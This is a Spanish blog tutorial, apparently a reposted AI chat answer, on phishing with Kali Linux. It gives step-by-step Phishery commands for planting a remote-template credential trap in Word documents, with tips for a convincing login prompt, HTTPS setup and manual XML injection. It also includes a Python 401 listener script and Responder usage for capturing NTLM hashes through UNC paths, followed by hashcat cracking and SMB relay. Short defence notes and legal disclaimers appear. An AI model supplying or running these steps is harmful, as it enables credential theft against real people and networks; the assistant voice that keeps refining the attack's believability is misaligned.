Kali Linux Phishing Herramientas y Conceptos

 

 https://www.onlinetis.com/es/

Kali Linux Phishing Herramientas y Conceptos

Entiendo que estás explorando las herramientas de ciberseguridad en Kali Linux. Phishery es una herramienta interesante porque no es el típico ataque de "página web falsa"; se enfoca en inyectar plantillas de autenticación básica en documentos de Word (.docx).

Aquí tienes una guía rápida de qué es y cómo funciona, siempre desde una perspectiva de educación y pruebas de penetración éticas.


¿Qué es Phishery?

A diferencia de herramientas como Social-Engineering Toolkit (SET), Phishery es un servidor HTTP que facilita el robo de credenciales mediante el uso de documentos de Word con plantillas remotas.

  • Cómo funciona: Cuando la víctima abre un documento malicioso, Word intenta "actualizar" una plantilla desde una URL externa (tu servidor Kali).

  • El resultado: Al usuario le aparece una ventana emergente de Windows pidiendo usuario y contraseña. Si los introduce, Phishery los captura en tu terminal.


Instalación en Kali Linux

Phishery está escrito en Go, por lo que la instalación es bastante directa:

  1. Actualiza tu sistema:

    sudo apt update

  2. Instala Phishery:

    sudo apt install phishery


Uso Básico: Paso a Paso

Para realizar una prueba de concepto, sigue estos comandos:

1. Preparar el documento "anzuelo"

Primero necesitas crear un archivo .docx que contenga la URL de tu servidor de Phishery.

Bash
phishery -u http://tu-ip-o-dominio/auth -i documento_limpio.docx -o documento_infectado.docx
  • -u: La dirección donde estará escuchando tu máquina Kali.

  • -i: Un documento de Word real que ya tengas.

  • -o: El nombre del nuevo archivo que enviarás.

2. Iniciar el servidor de captura

Ahora debes poner a Phishery a "escuchar" las conexiones entrantes:

Bash
phishery -s -l 0.0.0.0:80

Cuando el objetivo abra el archivo en su Word, verás las credenciales (en formato Basic Auth) aparecer en tu pantalla.


Medidas de Prevención (Defensa)

Como profesional de seguridad, es vital saber cómo detener esto:

  • Bloqueo de red: Configurar los firewalls para evitar que aplicaciones de oficina (como Word) realicen peticiones salientes a dominios desconocidos.

  • Configuración de Office: Desactivar la actualización automática de plantillas vinculadas.

  • Concientización: Enseñar a los usuarios que Word nunca debería pedir una contraseña de red para visualizar un documento común.


Nota de Ética y Legalidad

Advertencia: El uso de estas herramientas contra sistemas o redes sin autorización previa y por escrito es ilegal. El phishing es un delito en la mayoría de los países. Utiliza este conocimiento solo en entornos controlados de laboratorio o auditorías autorizadas.

 

Vamos a profundizar en lo que sucede tras bambalinas, específicamente en cómo analizar los resultados y cómo hacer que el ataque sea más "creíble" técnicamente (siempre bajo el marco de una auditoría).

Aquí te detallo los puntos clave para dominar la herramienta:


1. Análisis de las Credenciales Capturadas

Cuando Phishery está en modo servidor (-s), verás una salida en tu terminal cada vez que alguien intente abrir el archivo. Los datos suelen verse así:

  • IP de origen: Sabrás desde dónde se está abriendo el archivo.

  • User-Agent: Te dirá la versión exacta de Microsoft Word y del Sistema Operativo de la víctima.

  • Credenciales: Phishery las muestra en formato Basic Auth. Verás algo como:

    [+] Credentials received from 192.168.1.50: usuario:contraseña123


2. Personalización del "Realm" (El mensaje de alerta)

Por defecto, la ventana que le sale al usuario en Word puede ser muy genérica. Puedes personalizar el mensaje para que parezca una solicitud legítima de la red corporativa usando el parámetro -m.

Ejemplo de comando avanzado:

Bash
phishery -u http://tu-ip/auth -m "Acceso requerido para el servidor de plantillas corporativas" -i base.docx -o reporte_final.docx

Tip: Un mensaje bien redactado aumenta drásticamente la tasa de éxito, ya que el usuario asume que es un error de conexión de Office y no un ataque.


3. Uso de HTTPS (Crucial para evitar sospechas)

Si usas http, los navegadores modernos o firewalls avanzados podrían marcar la conexión como "no segura". Phishery permite usar certificados SSL para que la conexión sea https.

Necesitarás un certificado (puedes usar uno de Let's Encrypt o uno generado por ti para pruebas locales):

  • Comando: phishery -s -c cert.pem -k key.pem -l :443


4. ¿Por qué funciona tan bien? (Análisis Técnico)

Phishery no usa macros (VBA). Esto es vital porque:

  1. Evita el aviso de seguridad: Muchos usuarios ya saben que no deben "Habilitar Macros". Phishery no las necesita.

  2. Inyección en el XML: Si descomprimes el archivo .docx (que en realidad es un conjunto de archivos XML comprimidos), verás que Phishery modifica el archivo _rels/settings.xml.rels.

  3. Persistencia: El documento intentará conectarse a tu servidor cada vez que se abra, no solo la primera vez.


Analizar las tripas de un archivo de Word (.docx) es fascinante porque te permite ver que estos documentos no son más que un conjunto de archivos XML y carpetas comprimidos.

Para entender cómo Phishery hace su magia, vamos a realizar una "autopsia" manual al documento.


Pasos para la Autopsia del Documento

1. Descomprimir el archivo

Un archivo .docx es en realidad un archivo ZIP. Puedes cambiarle la extensión de .docx a .zip o usar la terminal en Kali:

Bash
mkdir autopsia
unzip documento_infectado.docx -d autopsia/
cd autopsia

2. Localizar el punto de inyección

Phishery no modifica el texto que ves en la pantalla, sino las relaciones externas del documento. El archivo clave se encuentra en:

word/_rels/settings.xml.rels

Este archivo gestiona las conexiones que Word debe hacer con recursos externos (como plantillas alojadas en servidores).

3. Analizar el código XML

Si abres ese archivo con un editor de texto (nano, cat o mousepad), verás una estructura similar a esta:

XML
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
    <Relationship Id="rId1" 
        Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" 
        Target="http://tu-servidor-kali.com/auth" 
        TargetMode="External" />
</Relationships>

¿Qué estamos viendo aquí?

  • Type attachedTemplate: Le dice a Word: "Oye, para mostrar este documento correctamente, necesito descargar una plantilla".

  • Target: Es la URL que configuraste en Phishery. Aquí es donde Word enviará la petición.

  • TargetMode="External": Indica que el recurso no está dentro del archivo, sino en internet.


¿Por qué salta la ventana de login?

Cuando Word lee esa línea en el XML:

  1. Intenta conectar con http://tu-servidor-kali.com/auth.

  2. Tu servidor (Phishery) responde con un encabezado HTTP llamado 401 Unauthorized y solicita una Autenticación Básica.

  3. Word, al ver que el recurso es "necesario" y requiere contraseña, le muestra al usuario la ventana nativa de Windows pidiendo sus credenciales.


Cómo hacerlo manualmente (sin Phishery)

Si quisieras hacerlo a mano para entender el proceso completo:

  1. Crea un Word normal.

  2. Descomprímelo.

  3. Crea la carpeta word/_rels si no existe.

  4. Crea el archivo settings.xml.rels con la estructura que vimos arriba, apuntando a tu servidor.

  5. Modifica el archivo word/settings.xml para incluir una referencia a esa relación (usando el rId).

  6. Vuelve a comprimir todo en un ZIP y cámbiale la extensión a .docx.

Dato curioso: Este método es mucho más sigiloso que las macros porque no hay código ejecutable; es simplemente Word siguiendo sus propias reglas de diseño para plantillas remotas.

 

Montar tu propio servidor de escucha básico es la mejor forma de ver cómo "piensa" Microsoft Word antes de que Phishery automatice el proceso. Esto te permite ver las cabeceras HTTP, que son los mensajes ocultos entre el cliente y el servidor.


1. El experimento del Servidor "Espejo"

En lugar de usar Phishery, vamos a usar un pequeño script de Python que simplemente imprime todo lo que recibe.

El código (servidor_prueba.py)

Crea un archivo con este contenido:

Python
import http.server
import socketserver

class MyHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        print("\n--- PETICIÓN RECIBIDA ---")
        print(self.headers) # Aquí verás lo que envía Word
        self.send_response(401) # Enviamos el código de "No autorizado"
        self.send_header('WWW-Authenticate', 'Basic realm="Acceso Protegido"')
        self.end_headers()
        print("-------------------------\n")

PORT = 80
with socketserver.TCPServer(("", PORT), MyHandler) as httpd:
    print(f"Servidor escuchando en el puerto {PORT}...")
    httpd.serve_forever()

Ejecución

  1. Corre el script con sudo python3 servidor_prueba.py.

  2. Abre el documento que infectaste con Phishery (el que apunta a tu IP).


2. ¿Qué verás en la consola?

Cuando Word intente cargar la "plantilla", tu terminal de Kali mostrará algo como esto:

  • User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Word 2019)... (Esto te confirma qué versión de Office usa la víctima).

  • X-IDCRL_Address: A veces verás intentos de autenticación automática con cuentas de Microsoft.

  • Authorization: Si el usuario escribe algo en la ventanita de login, verás una línea que dice: Authorization: Basic [CADENA_EN_BASE64].

Dato clave: Phishery simplemente toma esa cadena en Base64, la decodifica y te muestra el usuario:contraseña.


3. Análisis de las capas de seguridad modernas

Hoy en día, hacer esto de forma manual o con Phishery tiene algunos obstáculos que debes conocer:

ObstáculoQué sucede
Mark of the Web (MotW)Windows marca archivos descargados de internet. A veces bloquea la carga de plantillas externas por seguridad.
Protected ViewWord abre el archivo en "Vista protegida" (barra amarilla). La petición HTTP no se envía hasta que el usuario hace clic en "Habilitar edición".
Firewalls/IPSSistemas como Snort o Suricata detectan peticiones de Word a IPs externas que devuelven un código 401 Unauthorized de forma repetida.

4. El toque maestro: El archivo XML de configuración

Si revisaste el word/_rels/settings.xml.rels y quieres ver cómo se une con el resto del documento, busca el archivo word/settings.xml. Allí encontrarás una etiqueta como esta:

<w:attachedTemplate r:id="rId1"/>

Ese rId1 es el "puente" que conecta el cuerpo del documento con la URL maliciosa que encontraste en el archivo de relaciones. Si borras esa línea, el documento vuelve a ser inofensivo.

 

Esta es una de las técnicas más potentes en las auditorías de red interna. Mientras que Phishery utiliza Basic Auth (texto plano que el usuario debe escribir), el robo de hashes NTLM se aprovecha de un comportamiento automático de Windows: el protocolo SMB.

A diferencia de Phishery, aquí no necesitamos que el usuario escriba su contraseña; basta con que Windows intente "conectar" con nuestra máquina para que nos entregue su identidad.


1. El Concepto: De HTTP a SMB

Cuando Windows intenta acceder a un recurso compartido (como una carpeta o una impresora) en una red, utiliza el protocolo SMB. En este proceso, ocurre un intercambio llamado Challenge-Response:

  1. Víctima: "Hola Kali, quiero entrar a tu carpeta compartida".

  2. Kali: "Claro, aquí tienes un desafío (un número aleatorio)".

  3. Víctima: "Tomo mi contraseña, la mezclo con ese desafío (hashing) y te envío el resultado (Hash NTLMv2)".

  4. Kali: ¡Atrapado! Ahora tengo el hash.


2. La Herramienta Estrella: Responder

En Kali Linux, la herramienta estándar para esto no es Phishery, sino Responder.

Cómo prepararlo:

  1. Iniciar Responder:

    Bash
    sudo responder -I eth0 -rdw
    
    • -I: Tu interfaz de red.

    • -r: Activa respuestas a consultas NetBIOS.

    • -d: Activa respuestas a consultas de sufijo DNS.

Cómo forzar la conexión desde un documento

Puedes usar la misma técnica de Phishery pero en lugar de una URL http, usamos una ruta UNC (ruta de red de Windows).

En el archivo word/_rels/settings.xml.rels que analizamos antes, el Target se vería así:

Target="\\192.168.1.50\archivo\plantilla.dotx"

Cuando Word intente buscar esa ruta, Windows enviará automáticamente el Hash NTLM del usuario actual a tu máquina Kali para intentar autenticarse.


3. ¿Qué haces con el Hash NTLMv2?

Una vez que Responder captura el hash, verás algo como esto en tu terminal:

Username: Administrador | Hash: NTLMv2 | [Cadena larguísima de caracteres]

Tienes dos caminos principales:

A. Crackear el Hash (Offline)

Si la contraseña es débil, puedes usar John the Ripper o Hashcat para obtener la clave en texto plano.

Bash
hashcat -m 5600 hash_capturado.txt /usr/share/wordlists/rockyou.txt

B. SMB Relay (El ataque más peligroso)

Si el objetivo tiene desactivado el "SMB Signing" (firma de SMB), no necesitas crackear la contraseña. Puedes "retransmitir" ese hash en tiempo real a otra máquina de la red para ganar acceso a ella como si fueras ese usuario.


4. Comparativa: Phishery vs. Responder (NTLM)

CaracterísticaPhishery (Basic Auth)Responder (NTLM Hash)
InteracciónAlta (El usuario debe teclear)Casi nula (Es automático)
VisibilidadAparece ventana de loginInvisible para el usuario
ResultadoContraseña real (si cae)Hash (necesita crackeo o relay)
ProtocoloHTTP / HTTPSSMB / LLMNR / NBT-NS

Medidas de Defensa

Para un administrador de sistemas, esto se soluciona de dos formas:

  1. Restringir NTLM: Forzar el uso de Kerberos.

  2. SMB Signing: Activar el firmado de SMB en toda la red para evitar ataques de Relay.

  3. Filtro de salida: Bloquear el puerto 445 (SMB) hacia internet, para que los documentos no envíen hashes fuera de la oficina.

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux